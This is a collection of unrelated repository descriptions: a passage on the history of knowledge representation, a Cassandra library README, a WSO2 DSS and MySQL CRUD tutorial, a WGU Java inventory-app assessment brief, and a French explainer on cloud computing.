restaurant narrow the search space and allow the system to choose appropriate responses to dynamic situations. It was not long before the frame communities and the rule-based researchers realized that there was synergy between their approaches. Frames were good for representing the real world, described as classes, subclasses, slots (data values) with various constraints on possible values. Rules were good for representing and utilizing complex logic such as the process to make a medical diagnosis. Integrated systems were developed that combined Frames and Rules. One of the most powerful and well known was the 1983 Knowledge Engineering Environment (KEE) from Intellicorp. KEE had a complete rule engine with forward and backward chaining. It also had a complete frame based knowledge base with triggers, slots (data values), inheritance, and message passing. Although message passing originated in the object-oriented community rather than AI it was quickly embraced by AI researchers as well in environments such as KEE and in the operating systems for Lisp machines from Symbolics, Xerox, and Texas Instruments.[3] The integration of Frames, rules, and object-oriented programming was significantly driven by commercial ventures such as KEE and Symbolics spun off from various research projects. At the same time as this was occurring, there was another strain of research that was less commercially focused and was driven by mathematical logic and automated theorem proving. One of the most influential languages in this research was the KL-ONE language of the mid-'80s. KL-ONE was a frame language that had a rigorous semantics, formal definitions for concepts such as an Is-A relation.[4] KL-ONE and languages that were influenced by it such as Loom had an automated reasoning engine that was based on formal logic rather than on IF-THEN rules. This reasoner is called the classifier. A classifier can analyze a set of declarations and infer new assertions, for example, redefine a class to be a subclass or superclass of some other class that wasn't formally specified. In this way the classifier can function as an inference engine, deducing new facts from an existing knowledge base. The classifier can also provide consistency checking on a knowledge base (which in the case of KL-ONE languages is also referred to as an Ontology).[5] Another area of knowledge representation research was the problem of common sense reasoning. One of the first realizations learned from trying to make software that can function with human natural language was that humans regularly draw on an extensive foundation of knowledge about the real world that we simply take for granted but that is not at all obvious to an artificial agent. Basic principles of common sense physics, causality, intentions, etc. An example is the frame problem, that in an event driven logic there need to be axioms that state things maintain position from one moment to the next unless they are moved by some external force. In order to make a true artificial intelligence agent that can converse with humans using natural language and can process basic statements and questions about the world, it is essential to represent this kind of knowledge. One of the most ambitious programs to tackle this problem was Doug Lenat's Cyc project. Cyc established its own Frame language and had large numbers of analysts document various areas of common sense reasoning in that language. The knowledge recorded in Cyc included common sense models of time, causality, physics, intentions, and many others.[6] The starting point for knowledge representation is the knowledge representation hypothesis first formalized by Brian C. Smith in 1985:[7] Any mechanically embodied intelligent process will be comprised of structural ingredients that a) we as external observers naturally take to represent a propositional account of the knowledge that the overall process exhibits, and b) independent of such external semantic attribution, play a formal but causal and essential role in engendering the behavior that manifests that knowledge. Currently one of the most active areas of knowledge representation research are projects associated with the Semantic Web. The Semantic Web seeks to add a layer of semantics (meaning) on top of the current Internet. Rather than indexing web sites and pages via keywords, the Semantic Web creates large ontologies of concepts. Searching for a concept will be more effective than traditional text only searches. Frame languages and automatic classification play a big part in the vision for the future Semantic Web. The automatic classification gives developers technology to provide order on a constantly evolving network of knowledge. Defining ontologies that are static and incapable of evolving on the fly would be very limiting for Internet-based systems. The classifier technology provides the ability to deal with the dynamic environment of the Internet. Recent projects funded primarily by the Defense Advanced Research Projects Agency (DARPA) have integrated frame languages and classifiers with markup languages based on XML. The Resource Description Framework (RDF) provides the basic capability to define classes, subclasses, and properties of objects. The Web Ontology Language (OWL) provides additional levels of semantics and enables integration with classification engines.[8][9]
danieldkim
Active Columns provides a high-level object-oriented Javascript interface to Cassandra. Rather than deal with low-level Cassandra API's like get_slice() and batch_mutate(), and raw column structures and timestamps, you work with *objects* and find(), save(), and destroy() them.
sartorileonardo
The WSO2 Data Services Server simplifies service-oriented architecture development efforts by providing an easy-to-use platform for integrating data stores, creating composite data views, and hosting data services. It supports access to secure and managed data through federated data stores, data service transactions, and data transformation and validation using an agile, agile and developer-friendly development approach. Provides federation support by combining data from multiple sources in single response or resource and also supports nested queries between data sources. More product information WSO2 DSS at: https://docs.wso2.com/display/DSS322/Downloading+the+Product In this experiment a CRUD was created using WSO2 DSS + MySQL Database. In a few minutes it is possible to create the CRUD BeckEnd with the tool. It follows step by step for the development of the experience: Note: Verify that the Oracle 7 Java environment variables are preconfigured (JAVA_HOME). 1- Download WSO2 DSS and unpack. 2- Copy a JDBC MySql lib (mysql-connector-java-5.1.40.zip) into the "repository / components / lib" path of the WSO2 DSS tool. 2- Run the "wso2server.sh" file in the "/ bin" directory if the OS is Linux or "wso2server.bat" for Windows OS. 3- Create a Database in MySQL as Script "Script_Create_Database.sql". 4- If the tool was successfully executed, it will display something like: "[2017-04-03 11: 08: 15,957] INFO {org.wso2.carbon.ui.internal.CarbonUIServiceComponent} - Mgt Console URL: https://10.0.0.104:9443/carbon/" 5- Access this address through the Chrome browser or Firefox and enter the default user and password "admin". 6- Add the link in the security exception if the browser asks for it. 7- Access the menu path Settings> Datasources> Add Datasources. 8- Fill in the form with the data: > Datasource Type: RDBMS > Name: control_product_db > Database Engine: MySQL > Driver: com.mysql.jdbc.Driver > URL: jdbc: mysql: // localhost: 3306 / control_product_db > User Name: <bank user> > Password: <bank password> 9- Click the "Test Connection" button, if the tool shows the message "Connection is healthy", you have done everything correctly and the tool already has a connection to the DB; 10- Access the Main> Generate menu path and fill in the data: > Carbon Datasource (s): control_product_db > Database Name: control_product_db 11- Click the "Next" button. 12- Soon the tool will display the table where CRUD will be carried out, keep the "product" table marked and click "Next". In Service Generation, select the option of "Single Service", that is a service for CRUD of all the table, since we only have the table product. 13- Fill in the data with: > Data Service Namespace: ProductService > Data Service Name: ProductService 14- Click "Next" 15- The tool will return the information: "Following Service (s) are Deployed Sucessfully" ProductService. 16- Click "Finish" and after 30 seconds, access the Main> Services> List menu, where you will see ProductService created. 17- Clicking the "Try this service" option, the tool will open a new tab in the browser with a graphical interface (FrontEnd) with the options of: > Delete_product_operation > Insert_product_operation > Select_all_product_operation > Select_with_key_product_operation > Update_product_operation 18- After choosing the insert operation for example, you must complete the values inside the XML tags, such as the insert option: ====================================================================== ============ <Body> <P: insert_product_operation xmlns: p = "ProductService"> <! - Exactly 1 occurrence -> <P: product_name> Pen </ p: product_name> <! - Exactly 1 occurrence -> <P: product_price> 1.00 </ p: product_price> <! - Exactly 1 occurrence -> <P: product_description> BIC pen </ p: product_description> <! - Exactly 1 occurrence -> <P: product_amount> 1 </ p: product_amount> <! - Exactly 1 occurrence -> <P: product_date_created> 2017-04-03 </ p: product_date_created> <! - Exactly 1 occurrence -> <P: is_active> 1 </ p: is_active> <! - Exactly 1 occurrence -> <P: is_created> 1 </ p: is_created> </ P: insert_product_operation> </ Body> ====================================================================== ================ 19- After filling the data in the XML interface, you must click the "Send" button to perform the operation. 20- Finish !!! To download the CRUD WSO2 DSS + MySQL from this lab, go to: https://goo.gl/PqL2zm
ktczakutnyi
WGU-Software-I-C482 COMPETENCIES 430.02.05 : Classes and Interfaces The graduate designs software solutions with appropriate classes, objects, methods, and interfaces to achieve specific goals. 430.02.06 : Object-Oriented Principles The graduate implements object-oriented design principles (e.g., inheritance, encapsulation, and abstraction) in developing applications for ensuring the application’s scalability. 430.02.07 : Application Development The graduate produces applications using Java programming language constructs to meet business requirements. 430.02.08 : Exception Handling The graduate incorporates simple exception handling in application development for improving user experience and application stability. 430.02.09 : User Interface Development The graduate develops user interfaces to meet project requirements. INTRODUCTION Throughout your career in software design and development, you will be asked to create applications with various features and functionality based on business requirements. For this assessment, you will create a Java desktop application using the solution statements provided in the requirements section of this assessment. The skills you showcase in your completed application will be useful in responding to technical interview questions for future employment. This application may also be added to your portfolio to show to future employers. The preferred integrated development environment (IDE) for this assignment is NetBeans version 11.1 or later or IntelliJ IDEA (Community Edition). Use the links in the web links section of this assessment to install one of these IDEs. If you choose to use another IDE, you must export your project into NetBeans 11.1 or later or IntelliJ IDEA format or your submission will be returned. This assessment also requires the following software: JDK 11 and JavaFX SDK or Module (for NetBeans or IntelliJ IDEA), and Scene Builder, which are also available for download in the web links section of this assessment, as well as a video demonstration of the completed application. Your submission should include a zip file with all the necessary code files to compile, support, and run your application. Your submission should also include a folder with descriptive Javadoc comments in the .java files. The zip file submission must keep the project file and folder structure intact for the IDE. In NetBeans, zip your file by going to File > Export Project > To ZIP and click Export. In IntelliJ IDEA, go to File > Export to Zip File and click OK. If you try to zip your project files with an external program, it will include the build files and make the zip files too large for submission. Note: You may receive an error message upon submitting your files because the automated plagiarism detectors will not be able to access the zipped file, but the evaluation team members will run their checks manually when evaluating your submission. SCENARIO You are working for a small manufacturing organization that has outgrown its current inventory system. Members of the organization have been using a spreadsheet program to manually enter inventory additions, deletions, and other data from a paper-based system but would now like you to develop a more sophisticated inventory program. You have been provided with a mock-up of the user interface to use in the design and development of the system (see the attached “Software 1 GUI Mock-Up”) and a class diagram to assist you in your work (see the attached “UML Class Diagram”). The organization also has specific business requirements that must be considered for the application. A systems analyst created the solution statements outlined in the requirements section of this task based on the business requirements. You will use these solution statements to develop your application. REQUIREMENTS Your submission must be your original work. No more than a combined total of 30% of the submission and no more than a 10% match to any one individual source can be directly quoted or closely paraphrased from sources, even if cited correctly. The originality report that is provided when you submit your task can be used as a guide. You must use the rubric to direct the creation of your submission because it provides detailed criteria that will be used to evaluate your work. Each requirement below may be evaluated by more than one rubric aspect. The rubric aspect titles may contain hyperlinks to relevant portions of the course. Tasks may not be submitted as cloud links, such as links to Google Docs, Google Slides, OneDrive, etc., unless specified in the task requirements. All other submissions must be file types that are uploaded and submitted as attachments (e.g., .docx, .pdf, .ppt). I. User Interface A. Create a JavaFX application with a graphical user interface (GUI) based on the attached “Software 1 GUI Mock-Up.” You may use JavaFX with or without FXML to create your GUI, or you may use Scene Builder to create your FXML file; use of Swing is not permitted. The user interface (UI) should closely match the organization of the GUI layout and contain all UI components (buttons, text fields, etc.) in each of the following GUI mock-up forms: 1. Main form 2. Add Part form 3. Modify Part form 4. Add Product form 5. Modify Product form Note: You may use one FXML file for forms with an identical UI component structure. You may also use a single window that can be switched to a different menu, or a new window can be launched for each form. As of JDK 11, JavaFX is no longer included in the JDK API but is available as an SDK or module. B. Provide Javadoc comments for each class member throughout the code, and include a detailed description of the following in your comments: • a logical or runtime error that you corrected in the code and how it was corrected • a future enhancement that would extend the functionality of the application if it were to be updated Note: For these comments to accurately export to the Javadoc comments, please add the logical and runtime error comments in the method header declaration comments where the error that was corrected occurred, and include the future enhancement comments in the comments of the main class. Please start these comments with “RUNTIME ERROR” or “FUTURE ENHANCEMENT” as applicable. II. Application C. Create classes with data and logic that map to the UML class diagram and include the supplied Part class provided in the attached “Part.java.” Do not alter the provided class. Include all the classes and members as shown in the UML diagram. Your code should demonstrate the following: • inheritance • abstract and concrete classes • instance and static variables • instance and static methods D. Add the following functionalities to the Main form: 1. The Parts pane • The Add button under the Parts TableView opens the Add Part form. • The Modify button under the Parts TableView opens the Modify Part form. • The Delete button under the Parts TableView deletes the selected part from the Parts TableView or displays a descriptive error message in the UI or in a dialog box if a part is not deleted. • When the user searches for parts by ID or name (partial or full name) using the text field, the application displays matching results in the Parts TableView. (Including a search button is optional.) If the part or parts are found, the application highlights a single part or filters multiple parts. If the part is not found, the application displays an error message in the UI or in a dialog box. • If the search field is set to empty, the table should be repopulated with all available parts. 2. The Products pane • The Add button under the Products TableView opens the Add Product form. • The Modify button under the Products TableView opens the Modify Product form. • The Delete button under the Products TableView deletes the selected product (if appropriate) from the Products TableView or displays a descriptive error message in the UI or in a dialog box if a product is not deleted. • When the user searches for products by ID or name (partial or full name) using the text field, the application displays matching results in the Products TableView. (Including a search button is optional.) If a product or products are found, the application highlights a single product or products or filters multiple products. If a product or products are not found, the application displays an error message in the UI or in a dialog box. • If the search field is set to empty, the table should be repopulated with all available products. Note: A product’s associated parts can exist independent of current inventory of parts. You are not required to display sample data upon launching your application. You do not need to save your data to a database or a file; data for this application is nonpersistent and will reside in computer memory while in use. 3. Exit button • The Exit button closes the application. E. Add the listed functionalities to the following parts forms: 1. The Add Part form • The In-House and Outsourced radio buttons switch the bottom label to the correct value (Machine ID or Company Name). • The application auto-generates a unique part ID. The part IDs can be, but do not need to be, contiguous. - The part ID text field must be disabled. • The user should be able to enter a part name, inventory level or stock, a price, maximum and minimum values, and company name or machine ID values into active text fields. • After saving the data, users are automatically redirected to the Main form. • Canceling or exiting this form redirects users to the Main form. 2. The Modify Part form • The text fields populate with the data from the chosen part. • The In-House and Outsourced radio buttons switch the bottom label to the correct value (Machine ID or Company Name) and swap In-House parts and Outsourced parts. When new objects need to be created after the Save button is clicked, the part ID should be retained. • The user can modify data values in the text fields sent from the Main form except the part ID. • After saving modifications to the part, the user is automatically redirected to the Main form. • Canceling or exiting this form redirects users to the Main form. F. Add the following functionalities to the following product forms: 1. The Add Product form • The application auto-generates a unique product ID. The product IDs can be, but do not need to be, contiguous. - The product ID text field must be disabled and cannot be edited or changed. • The user should be able to enter a product name, inventory level or stock, a price, and maximum and minimum values. • The user can search for parts (top table) by ID or name (partial or full name). If the part or parts are found, the application highlights a single part or filters multiple parts. If the part or parts are not found, the application displays an error message in the UI or in a dialog box. • If the search field is set to empty, the table should be repopulated with all available parts. • The top table should be identical to the Parts TableView in the Main form. • The user can select a part from the top table. The user then clicks the Add button, and the part is copied to the bottom table. (This associates one or more parts with a product.) • The Remove Associated Part button removes a selected part from the bottom table. (This dissociates or removes a part from a product.) • After saving the data, the user is automatically redirected to the Main form. • Canceling or exiting this form redirects users to the Main form. Note: When a product is deleted, so can its associated parts without affecting the part inventory. The Remove Associated Part button removes a selected part from the bottom table. (This dissociates or removes a part from a product.) 2. The Modify Product form • The text fields populate with the data from the chosen product, and the bottom TableView populates with the associated parts. • The user can search for parts (top table) by ID or name (partial or full name). If the part or parts are found, the application highlights a single part or filters multiple parts. If the part is not found, the application displays an error message in the UI or a dialog box. • If the search text field is set to empty, the table should be repopulated with all available parts. • The top table should be identical to the Parts TableView in the Main form. • The user may modify or change data values. - The product ID text field must be disabled and cannot be edited or changed. • The user can select a part from the top table. The user then clicks the Add button, and the part is copied to the bottom table. (This associates one or more parts with a product.) • The user may associate zero, one, or more parts with a product. • The user may remove or disassociate a part from a product. • After saving modifications to the product, the user is automatically redirected to the Main form. • Canceling or exiting this form redirects users to the Main form. Note: The Remove Associated Part button removes a selected part from the bottom table. (This dissociates or removes a part from a product.) G. Write code to implement input validation and logical error checks using a dialog box or message in the UI displaying a descriptive error message for each of the following circumstances: • Min should be less than Max; and Inv should be between those two values. • The user should not delete a product that has a part associated with it. • The application confirms the “Delete” and “Remove” actions. • The application will not crash when inappropriate user data is entered in the forms; instead, error messages should be generated. H. Provide a folder containing Javadoc files that were generated from the IDE or via the command prompt from part B. In a comment above the main method header declaration, please specify where this folder is located. I. Demonstrate professional communication in the content and presentation of your submission. File Restrictions File name may contain only letters, numbers, spaces, and these symbols: ! - _ . * ' ( ) File size limit: 200 MB File types allowed: doc, docx, rtf, xls, xlsx, ppt, pptx, odt, pdf, txt, qt, mov, mpg, avi, mp3, wav, mp4, wma, flv, asf, mpeg, wmv, m4v, svg, tif, tiff, jpeg, jpg, gif, png, zip, rar, tar, 7z
todokku
Cloud Computing – De plus en plus utilisé par les entreprises de toutes les industries, le Cloud Computing est la nouvelle forme de stockage de données du 21ème siècle. Cependant, il se décline en de nombreuses variantes, et il n’est pas toujours facile de choisir l’offre qui convient le mieux à son activité. Pour mieux comprendre le phénomène Cloud Computing, voici une définition complète de ce terme. Le Cloud Computing est un terme général employé pour désigner la livraison de ressources et de services à la demande par internet. Il désigne le stockage et l’accès aux données par l’intermédiaire d’internet plutôt que via le disque dur d’un ordinateur. Il s’oppose ainsi à la notion de stockage local, consistant à entreposer des données ou à lancer des programmes depuis le disque dur. La notion de Cloud ne doit pas non plus être confondue avec celle du Network Attached Storage (NAS), utilisée par beaucoup d’entreprises via un serveur en résidence. Ces réseaux locaux n’entrent pas dans la définition du Cloud. Cependant, certains NAS permettent d’accéder aux données à distance depuis Internet. De manière générale, on parle de Cloud Computing lorsqu’il est possible d’accéder à des données ou à des programmes depuis internet, ou tout du moins lorsque ces données sont synchronisées avec d’autres informations sur internet. Il suffit donc pour y accéder de bénéficier d’une connexion internet. L’image du Cloud est utilisée de façon métaphorique pour désigner internet. Cette comparaison date de l’époque à laquelle on représentait les infrastructures gigantesques des fermes de serveurs internet sous la forme d’un grand nuage blanc, acceptant les connexions et distribuant des informations tout en flottant. Cette technologie permet aux entreprises d’acheter des ressources informatiques sous la forme de service, de la même manière que l’on consomme de l’électricité, au lieu d’avoir à construire et entretenir des infrastructures informatiques en interne. Selon U.S. National Institute of Standards and Technology, le Cloud Computing est un modèle permettant d’établir un accès à la demande en réseau vers un bassin partagé de ressources informatiques configurable. Ces ressources sont par exemple des réseaux, des serveurs, de l’espace de stockage, des application et des services. Elles peuvent être approvisionnées rapidement avec un effort de gestion et une interaction avec le fournisseur de services minimes. Le modèle Cloud met en avant la disponibilité, et se compose de cinq caractéristiques essentielles, trois modèles de livraisons, et quatre modèles de déploiement. Profitez de 2 To à vie de stockage en ligne avec pCloud En savoir plus Avantages et inconvénients Cette technologie offre plusieurs avantages et bénéfices pour les utilisateurs professionnels et les utilisateurs finaux. Les trois principaux avantages sont l’approvisionnement en libre-service, l’élasticité, et le paiement à l’utilisation. L’approvisionnement en libre service permet aux utilisateurs finaux d’accéder à n’importe quelle ressource informatique à la demande. L’élasticité offre l’opportunité d’augmenter ou de réduire la consommation de ressources en fonction des besoins de l’entreprise. Enfin, le paiement à l’utilisation autorise les firmes à ne payer que pour les ressources consommées. Pour de nombreuses personnes, le stockage local utilisé pendant les dernières décennies demeure aujourd’hui supérieur au Cloud Computing. Ces personnes considèrent qu’un disque dur permet de garder les données et les programmes physiquement proches, autorisant un accès rapide et simplifié pour les utilisateurs de l’ordinateur ou du réseau local. En 2013, l’ancien roboticien de la NASA Randall Monroe a tenté de prédire quand la bande passante d’internet surpasserait celle de FedEx. Pour cause, peu importe la vitesse d’une connexion internet, il reste moins cher d’envoyer des centaines de giga-octets de données via les avions et les camions de FedEx que par internet. Après réflexion, sa prédiction porte sur l’année 2040. En lisant cette conclusion, Cory Doctorow a perçu une critique implicite du Cloud Computing de la part de Monroe. Selon lui, la vitesse et le coût du stockage local sont moins élevés qu’une connexion en réseau contrôlée par une entreprise de télécommunications. Faire confiance aux opérateurs C’est le principal reproche émis à l’égard du Cloud. Les télécoms, les entreprises de médias et les FAI contrôlent l’accès. Faire entièrement confiance au Cloud signifie également croire en un accès continu aux données sans aucun problème sur le long terme. Un tel confort est envisageable, mais son coût est élevé. De plus, ce prix continuera d’augmenter à mesure que les fournisseurs de Cloud trouvent un moyen de faire payer plus cher en mesurant par exemple l’utilisation du service. Le tarif augmente proportionnellement à la bande passante utilisée. En dehors de ce problème de confiance, de nombreux autres arguments s’opposent au Cloud Computing. Le cofondateur d’Apple, Steve Wozniak, a ainsi critiqué le Cloud en 2012 en présageant de nombreux problèmes de grande envergure dans les cinq années à venir. On peut par exemple redouter des crashs. Durant l’été 2012, Amazon a rencontré ce type de problème. En tant que fournisseur d’entreprises comme Netflix ou Pinterest, l’entreprise américaine a ainsi provoqué la mise hors service des plateformes de ces clients. En 2014, Dropbox, Gmail, Basecamp, Adobe, Evernote, iCloud et Microsoft ont rencontré des problèmes similaires. En 2015, ce fut le tour de Apple, Verizon, Microsoft, AOL, Level 3, Google et Microsoft. Ces désagréments ne durent généralement que quelques heures, mais représentent une perte d’argent colossale pour les entreprises affectées. La question de la propriété intellectuelle Cloud Computing Public, Privé ou Hybride Cloud privé Les services de Cloud Computing se distinguent en trois catégories : le cloud public, le cloud privé et le cloud hybride. Un Cloud privé est une infrastructure entièrement dédiée à une entreprise unique, pouvant être gérée en interne ou par un tiers, et hébergée en interne ou en externe. Ce modèle offre une versatilité aux entreprises, tout en préservant la gestion, le contrôle et la sécurité. Les avantages sont l’accès en self-service à l’interface de contrôle, permettant à l’équipe informatique un approvisionnement rapide, et l’allocation ou la livraison de ressources informatiques à la demande. De même, la gestion des ressources est automatisée, aussi bien pour le stockage ou l’analyse. De même, la sécurité et la gouvernance sont conçues sur mesure pour les besoins spécifiques de l’entreprise. Cloud privé Cloud hybride Les spécificités du Cloud professionnel Le Cloud professionnel est très différent du Cloud utilisé par le grand public. De nombreuses entreprises choisissent d’implémenter des Logiciels en tant que service. Il s’agit d’applications accessibles depuis internet, à l’instar de Salesforce.com. Les Plateformes en tant que service permettent quant à elles aux entreprises de créer leurs propres applications Cloud personnalisées. Enfin, les Infrastructures en tant que service peuvent être louées auprès d’entreprises comme Amazon, Microsoft, Google ou Rackspace. Le Cloud Computing est une industrie qui a généré 100 milliards de dollars en 2012, pourrait générer 127 milliards de dollars en 2017 et 500 milliards en 2020. Profitez de 2 To à vie de stockage en ligne avec pCloud En savoir plus Trois avantages du Cloud Computing en entreprise Le Cloud Computing d’entreprise est un cas spécial d’utilisation du Cloud Computing permettant aux entreprises de bénéficier d’avantages compétitifs de stockage afin de réduire leurs coûts et d’accélérer l’innovation en améliorant la collaboration avec les partenaires et les clients. Plus précisément, le Cloud Computing apporte trois avantages majeurs aux entreprises : Avantage #1 Les coûts des Data Centers et des services informatiques peuvent être réduits et établis de manière proportionnelle à l’utilisation. Selon la quantité d’usage, les coûts seront plus ou moins élevés grâce à l’élasticité rapide. Avantage #2 Avantage #3 Qu’est-ce qui guide le Cloud Computing en entreprise ? Le Cloud Computing d’entreprise est guidé par la réduction des coûts, mais également par les changements du monde extérieur, au-delà du monde de l’entreprise dans notre société hyper-connectée. L’avènement de Consumer IT ou du Web 2.0, des réseaux sociaux et de l’Internet des Objets transforment la façon dont nous vivons, dont nous apprenons, dont nous collaborons, travaillons, consommons et jouons. Ces changements dans la société transforment également la façon dont nous concevons et gérons nos entreprises et notre chaîne de valeur. Le multi-cloud, futur du cloud computing À l’origine, le cloud computing était supposé simplifier les environnements informatiques en entreprise. Cependant, selon une récente étude menée par Microsoft et 451 Research, près d’un tiers des entreprises travaillent avec 4 vendeurs cloud ou plus. De fait, on peut considérer que le multi-cloud est le futur du cloud. Cette tendance est liée à plusieurs facteurs. Tout d’abord, certaines entreprises souhaitent tout simplement avoir davantage d’options. En faisant appel à plusieurs fournisseurs de cloud, pour prendre en charge différentes applications et divers workload, ces entreprises peuvent utiliser la solution qui correspond le mieux à chacun de leurs besoins. En s’appuyant sur un seul modèle cloud, une entreprise risque d’être handicapée. Il est donc inévitable pour les grandes entreprises aux divisions multiples d’utiliser plusieurs clouds. Selon un rapport publié par Ovum, un quart des entreprises européennes ne sont pas satisfaites par leur fournisseur de services cloud, notamment à cause de mauvaises performances, d’une garantie insuffisante, et d’un manque de support personnalisé. Par ailleurs, s’appuyer sur un seul service cloud augmente la vulnérabilité de l’entreprise face à différents problèmes tels que les pannes de data centers ou les problèmes de bande passante. Une application cloud qui est sans cesse hors-ligne donne une mauvaise image de l’entreprise et peut conduire à la perte de clients. Si une application dépend d’un seul fournisseur cloud, il est également difficile de négocier en cas de désaccord. Les controverses liées à la souveraineté des données mènent également à l’essor du multi-cloud, notamment pour les entreprises européennes. Le fait de stocker les données localement minimalise ces problèmes de souveraineté. En revanche, diriger le trafic vers des data centers situés le plus près possible des utilisateurs est indispensable pour les applications en proie à la latence. Le multi-cloud présente des avantages, mais peut aussi représenter un challenge pour les entreprises, notamment pour passer d’un cloud à l’autre. Malheureusement, tous les environnements informatiques sont différents, et le cloud ne fait pas exception. Les fournisseurs cloud font leur possible pour simplifier au maximum le transfert des applications sur leurs plateformes respectives, mais font aussi de leur mieux pour empêcher les clients de quitter leur service. De nombreuses entreprises se soucient, à juste titre, du temps nécessaire pour déplacer des petabytes de données entre deux services cloud. Heureusement, tous les principaux fournisseurs de services cloud utilisent la même technologie Active Data Replication, permettant de déplacer facilement des données entre les clouds. Google a récemment acquis Orbitera, une plateforme prenant en charge le commerce multi-cloud. C’est la preuve que Google considère également les environnements multi-cloud comme un enjeu du futur. Amazon Web Services reste à l’heure actuelle le leader du marché du cloud, mais les entreprises qui souhaitent avoir la liberté de jongler entre plusieurs services cloud et d’éviter de s’astreindre à un seul vendeur pourraient permettre aux autres fournisseurs de prendre leur envol. Selon Gartner, le marché du cloud computing atteindrait une valeur de 240 milliards de dollars dès l’année prochaine. Sur ce marché compétitif, le multi-cloud représente un nouveau front dans la guerre du cloud. Il s’agit d’une bonne nouvelle pour les entreprises en recherche de flexibilité, d’économies, et éventuellement de meilleures solutions. Profitez de 2 To à vie de stockage en ligne avec pCloud En savoir plus IaaS, PaaS et SaaS Même si le Cloud Computing évolue au fil du temps, il est toujours divisé en trois catégories de service : l’infrastructure en tant que service (IaaS), la plateforme en tant que service (PaaS) et le logiciel en tant que service (SaaS). IaaS Les fournisseurs d’Infrastructures en tant que Service, comme AWS, proposent un stockage sur serveur virtuel, mais également des API laissant les utilisateurs transférer leurs charges de travail vers des machines virtuelles (VM). Les IAAS peuvent être des serveurs, des réseaux, de l’espace de stockage ou des espaces au sein de Data Centers. Les utilisateurs disposent d’une capacité de stockage allouée. Ils peuvent ensuite démarrer, arrêter ou configurer la machine virtuelle et le stockage selon leurs désirs. Les infrastructures fournies peuvent être petites, moyennes, grandes ou très grandes pur s’adapter aux différents besoins. Grâce à ce type d’infrastructures, les entreprises n’ont pas besoin d’investir dans leur propre matériel. Les IaaS sont également scalables et flexibles, et s’adaptent à la charge de travail. PaaS SaaS Plusieurs exemples de Cloud Computing La frontière entre le Local Computing et le Cloud Computing est parfois très fine. Pour cause, le Cloud est désormais ancré dans presque toutes les tâches que nous accomplissons sur ordinateur. Ainsi, certains logiciels locaux comme Microsoft Office 365 utilisent le Cloud Computing pour le stockage. Cependant, Microsoft propose également différentes applications basées sur le web, réunies sous Office Online. Il s’agit des versions internet de Word, Excel, PowerPoint et OneNote, accessibles depuis un navigateur internet sans avoir besoin de procéder à ne installation. Autres exemples connus de Cloud Computing Google Drive Google Drive est un pur service Cloud Computing. Il propose un stockage en ligne, et fonctionne avec les applications Cloud Google Docs, Google Sheets et Google Slides. Ce service est accessible depuis un ordinateur, depuis une tablette, ou même depuis un smartphone, au même titre que les applications mobiles Docs et Sheets. La plupart des services Google peuvent d’ailleurs être classés dans la catégorie du Cloud Computing. C’est le cas de Gmail, Google Calendar, et Google Maps par exemple. Apple iCloud Amazon Cloud Drive Des services hybrides comme Box, Dropbox ou SugarSynch se positionnent dans la catégorie Cloud en proposant une version synchronisée sur internet des fichiers stockés. La synchronisation est une pierre angulaire du Cloud Computing, même si l’accès aux fichiers se fait de façon locale. De même, si plusieurs personnes avec des appareils séparés travaillent sur les mêmes données synchronisées, on peut considérer qu’il s’agit de Cloud Computing. Profitez de 2 To à vie de stockage en ligne avec pCloud En savoir plus Le matériel Cloud De plus en plus d’appareils sont entièrement orientés vers le Cloud. C’est le cas des Chromebooks de Google. Il s’agit d’ordinateurs portables proposant juste assez de stockage local pour faire tourner Chrome OS, le système d’exploitation basé sur le navigateur Chrome de Google. Les applications, les fichiers multimédias et le stockage de ces ordinateurs sont tous basés sur le Cloud. Le ChromeBit quant à lui est une petite barre permettant de transformer n’importe quel écran doté d’un port HDMI en un ordinateur sous Chrome OS. Bien sûr, sans connexion internet, ces appareils deviennent strictement inutiles. C’est le principal problème de Chrome OS à l’heure actuelle. Avant le Chromebook, d’autres appareils étaient destinés à fonctionner uniquement avec internet. C’était le cas du NIC (New Internet Computer), du Netpliance iOpener, et du 3Com Ergo Audrey. Ces ordinateurs sans stockage local furent commercialisés dans les années 90. Ils se heurtèrent aux limites techniques de l’époque, notamment en termes de débit. Aujourd’hui, la connexion internet est suffisamment rapide pour rivaliser avec la connexion à un disque dur local. C’est pourquoi le Cloud prend aujourd’hui son envol. SUR LE MÊME SUJET
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